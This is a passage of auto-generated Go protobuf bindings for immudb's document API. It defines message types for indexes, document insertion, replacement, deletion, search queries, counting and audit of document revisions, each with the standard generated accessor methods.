protoimpl.UnknownFields CollectionName string `protobuf:"bytes,1,opt,name=collectionName,proto3" json:"collectionName,omitempty"` Fields []string `protobuf:"bytes,2,rep,name=fields,proto3" json:"fields,omitempty"` IsUnique bool `protobuf:"varint,3,opt,name=isUnique,proto3" json:"isUnique,omitempty"` } func (x *CreateIndexRequest) Reset() { *x = CreateIndexRequest{} if protoimpl.UnsafeEnabled { mi := &file_documents_proto_msgTypes[17] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *CreateIndexRequest) String() string { return protoimpl.X.MessageStringOf(x) } func (*CreateIndexRequest) ProtoMessage() {} func (x *CreateIndexRequest) ProtoReflect() protoreflect.Message { mi := &file_documents_proto_msgTypes[17] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use CreateIndexRequest.ProtoReflect.Descriptor instead. func (*CreateIndexRequest) Descriptor() ([]byte, []int) { return file_documents_proto_rawDescGZIP(), []int{17} } func (x *CreateIndexRequest) GetCollectionName() string { if x != nil { return x.CollectionName } return "" } func (x *CreateIndexRequest) GetFields() []string { if x != nil { return x.Fields } return nil } func (x *CreateIndexRequest) GetIsUnique() bool { if x != nil { return x.IsUnique } return false } type CreateIndexResponse struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields } func (x *CreateIndexResponse) Reset() { *x = CreateIndexResponse{} if protoimpl.UnsafeEnabled { mi := &file_documents_proto_msgTypes[18] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *CreateIndexResponse) String() string { return protoimpl.X.MessageStringOf(x) } func (*CreateIndexResponse) ProtoMessage() {} func (x *CreateIndexResponse) ProtoReflect() protoreflect.Message { mi := &file_documents_proto_msgTypes[18] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use CreateIndexResponse.ProtoReflect.Descriptor instead. func (*CreateIndexResponse) Descriptor() ([]byte, []int) { return file_documents_proto_rawDescGZIP(), []int{18} } type DeleteIndexRequest struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields CollectionName string `protobuf:"bytes,1,opt,name=collectionName,proto3" json:"collectionName,omitempty"` Fields []string `protobuf:"bytes,2,rep,name=fields,proto3" json:"fields,omitempty"` } func (x *DeleteIndexRequest) Reset() { *x = DeleteIndexRequest{} if protoimpl.UnsafeEnabled { mi := &file_documents_proto_msgTypes[19] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *DeleteIndexRequest) String() string { return protoimpl.X.MessageStringOf(x) } func (*DeleteIndexRequest) ProtoMessage() {} func (x *DeleteIndexRequest) ProtoReflect() protoreflect.Message { mi := &file_documents_proto_msgTypes[19] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use DeleteIndexRequest.ProtoReflect.Descriptor instead. func (*DeleteIndexRequest) Descriptor() ([]byte, []int) { return file_documents_proto_rawDescGZIP(), []int{19} } func (x *DeleteIndexRequest) GetCollectionName() string { if x != nil { return x.CollectionName } return "" } func (x *DeleteIndexRequest) GetFields() []string { if x != nil { return x.Fields } return nil } type DeleteIndexResponse struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields } func (x *DeleteIndexResponse) Reset() { *x = DeleteIndexResponse{} if protoimpl.UnsafeEnabled { mi := &file_documents_proto_msgTypes[20] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *DeleteIndexResponse) String() string { return protoimpl.X.MessageStringOf(x) } func (*DeleteIndexResponse) ProtoMessage() {} func (x *DeleteIndexResponse) ProtoReflect() protoreflect.Message { mi := &file_documents_proto_msgTypes[20] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use DeleteIndexResponse.ProtoReflect.Descriptor instead. func (*DeleteIndexResponse) Descriptor() ([]byte, []int) { return file_documents_proto_rawDescGZIP(), []int{20} } type InsertDocumentsRequest struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields CollectionName string `protobuf:"bytes,1,opt,name=collectionName,proto3" json:"collectionName,omitempty"` Documents []*structpb.Struct `protobuf:"bytes,2,rep,name=documents,proto3" json:"documents,omitempty"` } func (x *InsertDocumentsRequest) Reset() { *x = InsertDocumentsRequest{} if protoimpl.UnsafeEnabled { mi := &file_documents_proto_msgTypes[21] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *InsertDocumentsRequest) String() string { return protoimpl.X.MessageStringOf(x) } func (*InsertDocumentsRequest) ProtoMessage() {} func (x *InsertDocumentsRequest) ProtoReflect() protoreflect.Message { mi := &file_documents_proto_msgTypes[21] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use InsertDocumentsRequest.ProtoReflect.Descriptor instead. func (*InsertDocumentsRequest) Descriptor() ([]byte, []int) { return file_documents_proto_rawDescGZIP(), []int{21} } func (x *InsertDocumentsRequest) GetCollectionName() string { if x != nil { return x.CollectionName } return "" } func (x *InsertDocumentsRequest) GetDocuments() []*structpb.Struct { if x != nil { return x.Documents } return nil } type InsertDocumentsResponse struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields TransactionId uint64 `protobuf:"varint,1,opt,name=transactionId,proto3" json:"transactionId,omitempty"` DocumentIds []string `protobuf:"bytes,2,rep,name=documentIds,proto3" json:"documentIds,omitempty"` } func (x *InsertDocumentsResponse) Reset() { *x = InsertDocumentsResponse{} if protoimpl.UnsafeEnabled { mi := &file_documents_proto_msgTypes[22] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *InsertDocumentsResponse) String() string { return protoimpl.X.MessageStringOf(x) } func (*InsertDocumentsResponse) ProtoMessage() {} func (x *InsertDocumentsResponse) ProtoReflect() protoreflect.Message { mi := &file_documents_proto_msgTypes[22] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use InsertDocumentsResponse.ProtoReflect.Descriptor instead. func (*InsertDocumentsResponse) Descriptor() ([]byte, []int) { return file_documents_proto_rawDescGZIP(), []int{22} } func (x *InsertDocumentsResponse) GetTransactionId() uint64 { if x != nil { return x.TransactionId } return 0 } func (x *InsertDocumentsResponse) GetDocumentIds() []string { if x != nil { return x.DocumentIds } return nil } type ReplaceDocumentsRequest struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields Query *Query `protobuf:"bytes,1,opt,name=query,proto3" json:"query,omitempty"` Document *structpb.Struct `protobuf:"bytes,2,opt,name=document,proto3" json:"document,omitempty"` } func (x *ReplaceDocumentsRequest) Reset() { *x = ReplaceDocumentsRequest{} if protoimpl.UnsafeEnabled { mi := &file_documents_proto_msgTypes[23] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *ReplaceDocumentsRequest) String() string { return protoimpl.X.MessageStringOf(x) } func (*ReplaceDocumentsRequest) ProtoMessage() {} func (x *ReplaceDocumentsRequest) ProtoReflect() protoreflect.Message { mi := &file_documents_proto_msgTypes[23] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use ReplaceDocumentsRequest.ProtoReflect.Descriptor instead. func (*ReplaceDocumentsRequest) Descriptor() ([]byte, []int) { return file_documents_proto_rawDescGZIP(), []int{23} } func (x *ReplaceDocumentsRequest) GetQuery() *Query { if x != nil { return x.Query } return nil } func (x *ReplaceDocumentsRequest) GetDocument() *structpb.Struct { if x != nil { return x.Document } return nil } type ReplaceDocumentsResponse struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields Revisions []*DocumentAtRevision `protobuf:"bytes,1,rep,name=revisions,proto3" json:"revisions,omitempty"` } func (x *ReplaceDocumentsResponse) Reset() { *x = ReplaceDocumentsResponse{} if protoimpl.UnsafeEnabled { mi := &file_documents_proto_msgTypes[24] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *ReplaceDocumentsResponse) String() string { return protoimpl.X.MessageStringOf(x) } func (*ReplaceDocumentsResponse) ProtoMessage() {} func (x *ReplaceDocumentsResponse) ProtoReflect() protoreflect.Message { mi := &file_documents_proto_msgTypes[24] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use ReplaceDocumentsResponse.ProtoReflect.Descriptor instead. func (*ReplaceDocumentsResponse) Descriptor() ([]byte, []int) { return file_documents_proto_rawDescGZIP(), []int{24} } func (x *ReplaceDocumentsResponse) GetRevisions() []*DocumentAtRevision { if x != nil { return x.Revisions } return nil } type DeleteDocumentsRequest struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields Query *Query `protobuf:"bytes,1,opt,name=query,proto3" json:"query,omitempty"` } func (x *DeleteDocumentsRequest) Reset() { *x = DeleteDocumentsRequest{} if protoimpl.UnsafeEnabled { mi := &file_documents_proto_msgTypes[25] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *DeleteDocumentsRequest) String() string { return protoimpl.X.MessageStringOf(x) } func (*DeleteDocumentsRequest) ProtoMessage() {} func (x *DeleteDocumentsRequest) ProtoReflect() protoreflect.Message { mi := &file_documents_proto_msgTypes[25] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use DeleteDocumentsRequest.ProtoReflect.Descriptor instead. func (*DeleteDocumentsRequest) Descriptor() ([]byte, []int) { return file_documents_proto_rawDescGZIP(), []int{25} } func (x *DeleteDocumentsRequest) GetQuery() *Query { if x != nil { return x.Query } return nil } type DeleteDocumentsResponse struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields } func (x *DeleteDocumentsResponse) Reset() { *x = DeleteDocumentsResponse{} if protoimpl.UnsafeEnabled { mi := &file_documents_proto_msgTypes[26] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *DeleteDocumentsResponse) String() string { return protoimpl.X.MessageStringOf(x) } func (*DeleteDocumentsResponse) ProtoMessage() {} func (x *DeleteDocumentsResponse) ProtoReflect() protoreflect.Message { mi := &file_documents_proto_msgTypes[26] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use DeleteDocumentsResponse.ProtoReflect.Descriptor instead. func (*DeleteDocumentsResponse) Descriptor() ([]byte, []int) { return file_documents_proto_rawDescGZIP(), []int{26} } type SearchDocumentsRequest struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields SearchId string `protobuf:"bytes,1,opt,name=searchId,proto3" json:"searchId,omitempty"` Query *Query `protobuf:"bytes,2,opt,name=query,proto3" json:"query,omitempty"` Page uint32 `protobuf:"varint,3,opt,name=page,proto3" json:"page,omitempty"` PageSize uint32 `protobuf:"varint,4,opt,name=pageSize,proto3" json:"pageSize,omitempty"` KeepOpen bool `protobuf:"varint,5,opt,name=keepOpen,proto3" json:"keepOpen,omitempty"` } func (x *SearchDocumentsRequest) Reset() { *x = SearchDocumentsRequest{} if protoimpl.UnsafeEnabled { mi := &file_documents_proto_msgTypes[27] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *SearchDocumentsRequest) String() string { return protoimpl.X.MessageStringOf(x) } func (*SearchDocumentsRequest) ProtoMessage() {} func (x *SearchDocumentsRequest) ProtoReflect() protoreflect.Message { mi := &file_documents_proto_msgTypes[27] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use SearchDocumentsRequest.ProtoReflect.Descriptor instead. func (*SearchDocumentsRequest) Descriptor() ([]byte, []int) { return file_documents_proto_rawDescGZIP(), []int{27} } func (x *SearchDocumentsRequest) GetSearchId() string { if x != nil { return x.SearchId } return "" } func (x *SearchDocumentsRequest) GetQuery() *Query { if x != nil { return x.Query } return nil } func (x *SearchDocumentsRequest) GetPage() uint32 { if x != nil { return x.Page } return 0 } func (x *SearchDocumentsRequest) GetPageSize() uint32 { if x != nil { return x.PageSize } return 0 } func (x *SearchDocumentsRequest) GetKeepOpen() bool { if x != nil { return x.KeepOpen } return false } type Query struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields CollectionName string `protobuf:"bytes,1,opt,name=collectionName,proto3" json:"collectionName,omitempty"` Expressions []*QueryExpression `protobuf:"bytes,2,rep,name=expressions,proto3" json:"expressions,omitempty"` OrderBy []*OrderByClause `protobuf:"bytes,3,rep,name=orderBy,proto3" json:"orderBy,omitempty"` Limit uint32 `protobuf:"varint,4,opt,name=limit,proto3" json:"limit,omitempty"` } func (x *Query) Reset() { *x = Query{} if protoimpl.UnsafeEnabled { mi := &file_documents_proto_msgTypes[28] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *Query) String() string { return protoimpl.X.MessageStringOf(x) } func (*Query) ProtoMessage() {} func (x *Query) ProtoReflect() protoreflect.Message { mi := &file_documents_proto_msgTypes[28] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use Query.ProtoReflect.Descriptor instead. func (*Query) Descriptor() ([]byte, []int) { return file_documents_proto_rawDescGZIP(), []int{28} } func (x *Query) GetCollectionName() string { if x != nil { return x.CollectionName } return "" } func (x *Query) GetExpressions() []*QueryExpression { if x != nil { return x.Expressions } return nil } func (x *Query) GetOrderBy() []*OrderByClause { if x != nil { return x.OrderBy } return nil } func (x *Query) GetLimit() uint32 { if x != nil { return x.Limit } return 0 } type QueryExpression struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields FieldComparisons []*FieldComparison `protobuf:"bytes,1,rep,name=fieldComparisons,proto3" json:"fieldComparisons,omitempty"` } func (x *QueryExpression) Reset() { *x = QueryExpression{} if protoimpl.UnsafeEnabled { mi := &file_documents_proto_msgTypes[29] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *QueryExpression) String() string { return protoimpl.X.MessageStringOf(x) } func (*QueryExpression) ProtoMessage() {} func (x *QueryExpression) ProtoReflect() protoreflect.Message { mi := &file_documents_proto_msgTypes[29] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use QueryExpression.ProtoReflect.Descriptor instead. func (*QueryExpression) Descriptor() ([]byte, []int) { return file_documents_proto_rawDescGZIP(), []int{29} } func (x *QueryExpression) GetFieldComparisons() []*FieldComparison { if x != nil { return x.FieldComparisons } return nil } type FieldComparison struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields Field string `protobuf:"bytes,1,opt,name=field,proto3" json:"field,omitempty"` Operator ComparisonOperator `protobuf:"varint,2,opt,name=operator,proto3,enum=immudb.model.ComparisonOperator" json:"operator,omitempty"` Value *structpb.Value `protobuf:"bytes,3,opt,name=value,proto3" json:"value,omitempty"` } func (x *FieldComparison) Reset() { *x = FieldComparison{} if protoimpl.UnsafeEnabled { mi := &file_documents_proto_msgTypes[30] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *FieldComparison) String() string { return protoimpl.X.MessageStringOf(x) } func (*FieldComparison) ProtoMessage() {} func (x *FieldComparison) ProtoReflect() protoreflect.Message { mi := &file_documents_proto_msgTypes[30] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use FieldComparison.ProtoReflect.Descriptor instead. func (*FieldComparison) Descriptor() ([]byte, []int) { return file_documents_proto_rawDescGZIP(), []int{30} } func (x *FieldComparison) GetField() string { if x != nil { return x.Field } return "" } func (x *FieldComparison) GetOperator() ComparisonOperator { if x != nil { return x.Operator } return ComparisonOperator_EQ } func (x *FieldComparison) GetValue() *structpb.Value { if x != nil { return x.Value } return nil } type OrderByClause struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields Field string `protobuf:"bytes,1,opt,name=field,proto3" json:"field,omitempty"` Desc bool `protobuf:"varint,2,opt,name=desc,proto3" json:"desc,omitempty"` } func (x *OrderByClause) Reset() { *x = OrderByClause{} if protoimpl.UnsafeEnabled { mi := &file_documents_proto_msgTypes[31] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *OrderByClause) String() string { return protoimpl.X.MessageStringOf(x) } func (*OrderByClause) ProtoMessage() {} func (x *OrderByClause) ProtoReflect() protoreflect.Message { mi := &file_documents_proto_msgTypes[31] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use OrderByClause.ProtoReflect.Descriptor instead. func (*OrderByClause) Descriptor() ([]byte, []int) { return file_documents_proto_rawDescGZIP(), []int{31} } func (x *OrderByClause) GetField() string { if x != nil { return x.Field } return "" } func (x *OrderByClause) GetDesc() bool { if x != nil { return x.Desc } return false } type SearchDocumentsResponse struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields SearchId string `protobuf:"bytes,1,opt,name=searchId,proto3" json:"searchId,omitempty"` Revisions []*DocumentAtRevision `protobuf:"bytes,2,rep,name=revisions,proto3" json:"revisions,omitempty"` } func (x *SearchDocumentsResponse) Reset() { *x = SearchDocumentsResponse{} if protoimpl.UnsafeEnabled { mi := &file_documents_proto_msgTypes[32] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *SearchDocumentsResponse) String() string { return protoimpl.X.MessageStringOf(x) } func (*SearchDocumentsResponse) ProtoMessage() {} func (x *SearchDocumentsResponse) ProtoReflect() protoreflect.Message { mi := &file_documents_proto_msgTypes[32] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use SearchDocumentsResponse.ProtoReflect.Descriptor instead. func (*SearchDocumentsResponse) Descriptor() ([]byte, []int) { return file_documents_proto_rawDescGZIP(), []int{32} } func (x *SearchDocumentsResponse) GetSearchId() string { if x != nil { return x.SearchId } return "" } func (x *SearchDocumentsResponse) GetRevisions() []*DocumentAtRevision { if x != nil { return x.Revisions } return nil } type DocumentAtRevision struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields TransactionId uint64 `protobuf:"varint,1,opt,name=transactionId,proto3" json:"transactionId,omitempty"` DocumentId string `protobuf:"bytes,2,opt,name=documentId,proto3" json:"documentId,omitempty"` Revision uint64 `protobuf:"varint,3,opt,name=revision,proto3" json:"revision,omitempty"` Metadata *DocumentMetadata `protobuf:"bytes,4,opt,name=metadata,proto3" json:"metadata,omitempty"` Document *structpb.Struct `protobuf:"bytes,5,opt,name=document,proto3" json:"document,omitempty"` Username string `protobuf:"bytes,6,opt,name=username,proto3" json:"username,omitempty"` Ts int64 `protobuf:"varint,7,opt,name=ts,proto3" json:"ts,omitempty"` } func (x *DocumentAtRevision) Reset() { *x = DocumentAtRevision{} if protoimpl.UnsafeEnabled { mi := &file_documents_proto_msgTypes[33] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *DocumentAtRevision) String() string { return protoimpl.X.MessageStringOf(x) } func (*DocumentAtRevision) ProtoMessage() {} func (x *DocumentAtRevision) ProtoReflect() protoreflect.Message { mi := &file_documents_proto_msgTypes[33] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use DocumentAtRevision.ProtoReflect.Descriptor instead. func (*DocumentAtRevision) Descriptor() ([]byte, []int) { return file_documents_proto_rawDescGZIP(), []int{33} } func (x *DocumentAtRevision) GetTransactionId() uint64 { if x != nil { return x.TransactionId } return 0 } func (x *DocumentAtRevision) GetDocumentId() string { if x != nil { return x.DocumentId } return "" } func (x *DocumentAtRevision) GetRevision() uint64 { if x != nil { return x.Revision } return 0 } func (x *DocumentAtRevision) GetMetadata() *DocumentMetadata { if x != nil { return x.Metadata } return nil } func (x *DocumentAtRevision) GetDocument() *structpb.Struct { if x != nil { return x.Document } return nil } func (x *DocumentAtRevision) GetUsername() string { if x != nil { return x.Username } return "" } func (x *DocumentAtRevision) GetTs() int64 { if x != nil { return x.Ts } return 0 } type DocumentMetadata struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields Deleted bool `protobuf:"varint,1,opt,name=deleted,proto3" json:"deleted,omitempty"` } func (x *DocumentMetadata) Reset() { *x = DocumentMetadata{} if protoimpl.UnsafeEnabled { mi := &file_documents_proto_msgTypes[34] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *DocumentMetadata) String() string { return protoimpl.X.MessageStringOf(x) } func (*DocumentMetadata) ProtoMessage() {} func (x *DocumentMetadata) ProtoReflect() protoreflect.Message { mi := &file_documents_proto_msgTypes[34] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use DocumentMetadata.ProtoReflect.Descriptor instead. func (*DocumentMetadata) Descriptor() ([]byte, []int) { return file_documents_proto_rawDescGZIP(), []int{34} } func (x *DocumentMetadata) GetDeleted() bool { if x != nil { return x.Deleted } return false } type CountDocumentsRequest struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields Query *Query `protobuf:"bytes,1,opt,name=query,proto3" json:"query,omitempty"` } func (x *CountDocumentsRequest) Reset() { *x = CountDocumentsRequest{} if protoimpl.UnsafeEnabled { mi := &file_documents_proto_msgTypes[35] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *CountDocumentsRequest) String() string { return protoimpl.X.MessageStringOf(x) } func (*CountDocumentsRequest) ProtoMessage() {} func (x *CountDocumentsRequest) ProtoReflect() protoreflect.Message { mi := &file_documents_proto_msgTypes[35] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use CountDocumentsRequest.ProtoReflect.Descriptor instead. func (*CountDocumentsRequest) Descriptor() ([]byte, []int) { return file_documents_proto_rawDescGZIP(), []int{35} } func (x *CountDocumentsRequest) GetQuery() *Query { if x != nil { return x.Query } return nil } type CountDocumentsResponse struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields Count int64 `protobuf:"varint,1,opt,name=count,proto3" json:"count,omitempty"` } func (x *CountDocumentsResponse) Reset() { *x = CountDocumentsResponse{} if protoimpl.UnsafeEnabled { mi := &file_documents_proto_msgTypes[36] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *CountDocumentsResponse) String() string { return protoimpl.X.MessageStringOf(x) } func (*CountDocumentsResponse) ProtoMessage() {} func (x *CountDocumentsResponse) ProtoReflect() protoreflect.Message { mi := &file_documents_proto_msgTypes[36] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use CountDocumentsResponse.ProtoReflect.Descriptor instead. func (*CountDocumentsResponse) Descriptor() ([]byte, []int) { return file_documents_proto_rawDescGZIP(), []int{36} } func (x *CountDocumentsResponse) GetCount() int64 { if x != nil { return x.Count } return 0 } type AuditDocumentRequest struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields CollectionName string `protobuf:"bytes,1,opt,name=collectionName,proto3" json:"collectionName,omitempty"` DocumentId string `protobuf:"bytes,2,opt,name=documentId,proto3" json:"documentId,omitempty"` Desc bool `protobuf:"varint,3,opt,name=desc,proto3" json:"desc,omitempty"` Page uint32 `protobuf:"varint,4,opt,name=page,proto3" json:"page,omitempty"` PageSize uint32 `protobuf:"varint,5,opt,name=pageSize,proto3" json:"pageSize,omitempty"` OmitPayload bool `protobuf:"varint,6,opt,name=omitPayload,proto3" json:"omitPayload,omitempty"` } func (x *AuditDocumentRequest) Reset() { *x = AuditDocumentRequest{} if protoimpl.UnsafeEnabled { mi := &file_documents_proto_msgTypes[37] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *AuditDocumentRequest) String() string { return protoimpl.X.MessageStringOf(x) } func (*AuditDocumentRequest) ProtoMessage() {} func (x *AuditDocumentRequest) ProtoReflect() protoreflect.Message { mi := &file_documents_proto_msgTypes[37] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use AuditDocumentRequest.ProtoReflect.Descriptor instead. func (*AuditDocumentRequest) Descriptor() ([]byte, []int) { return file_documents_proto_rawDescGZIP(), []int{37} } func (x *AuditDocumentRequest) GetCollectionName() string { if x != nil { return x.CollectionName } return "" } func (x *AuditDocumentRequest) GetDocumentId() string { if x != nil { return x.DocumentId } return "" } func (x *AuditDocumentRequest) GetDesc() bool { if x != nil { return x.Desc } return false } func (x *AuditDocumentRequest) GetPage() uint32 { if x != nil { return x.Page } return 0 } func (x *AuditDocumentRequest) GetPageSize() uint32 { if x != nil { return x.PageSize } return 0 } func (x *AuditDocumentRequest) GetOmitPayload() bool { if x != nil { return x.OmitPayload } return false } type AuditDocumentResponse struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields Revisions []*DocumentAtRevision `protobuf:"bytes,1,rep,name=revisions,proto3" json:"revisions,omitempty"` } func (x *AuditDocumentResponse) Reset() { *x = AuditDocumentResponse{} if protoimpl.UnsafeEnabled { mi := &file_documents_proto_msgTypes[38] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *AuditDocumentResponse) String() string { return protoimpl.X.MessageStringOf(x) } func (*AuditDocumentResponse) ProtoMessage() {} func (x *AuditDocumentResponse) ProtoReflect() protoreflect.Message { mi := &file_documents_proto_msgTypes[38] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use AuditDocumentResponse.ProtoReflect.Descriptor instead. func (*AuditDocumentResponse) Descriptor() ([]byte, []int) { return file_documents_proto_rawDescGZIP(), []int{38} } func (x *AuditDocumentResponse) GetRevisions() []*DocumentAtRevision { if x != nil { return x.Revisions } return nil } type ProofDocumentRequest struct { state 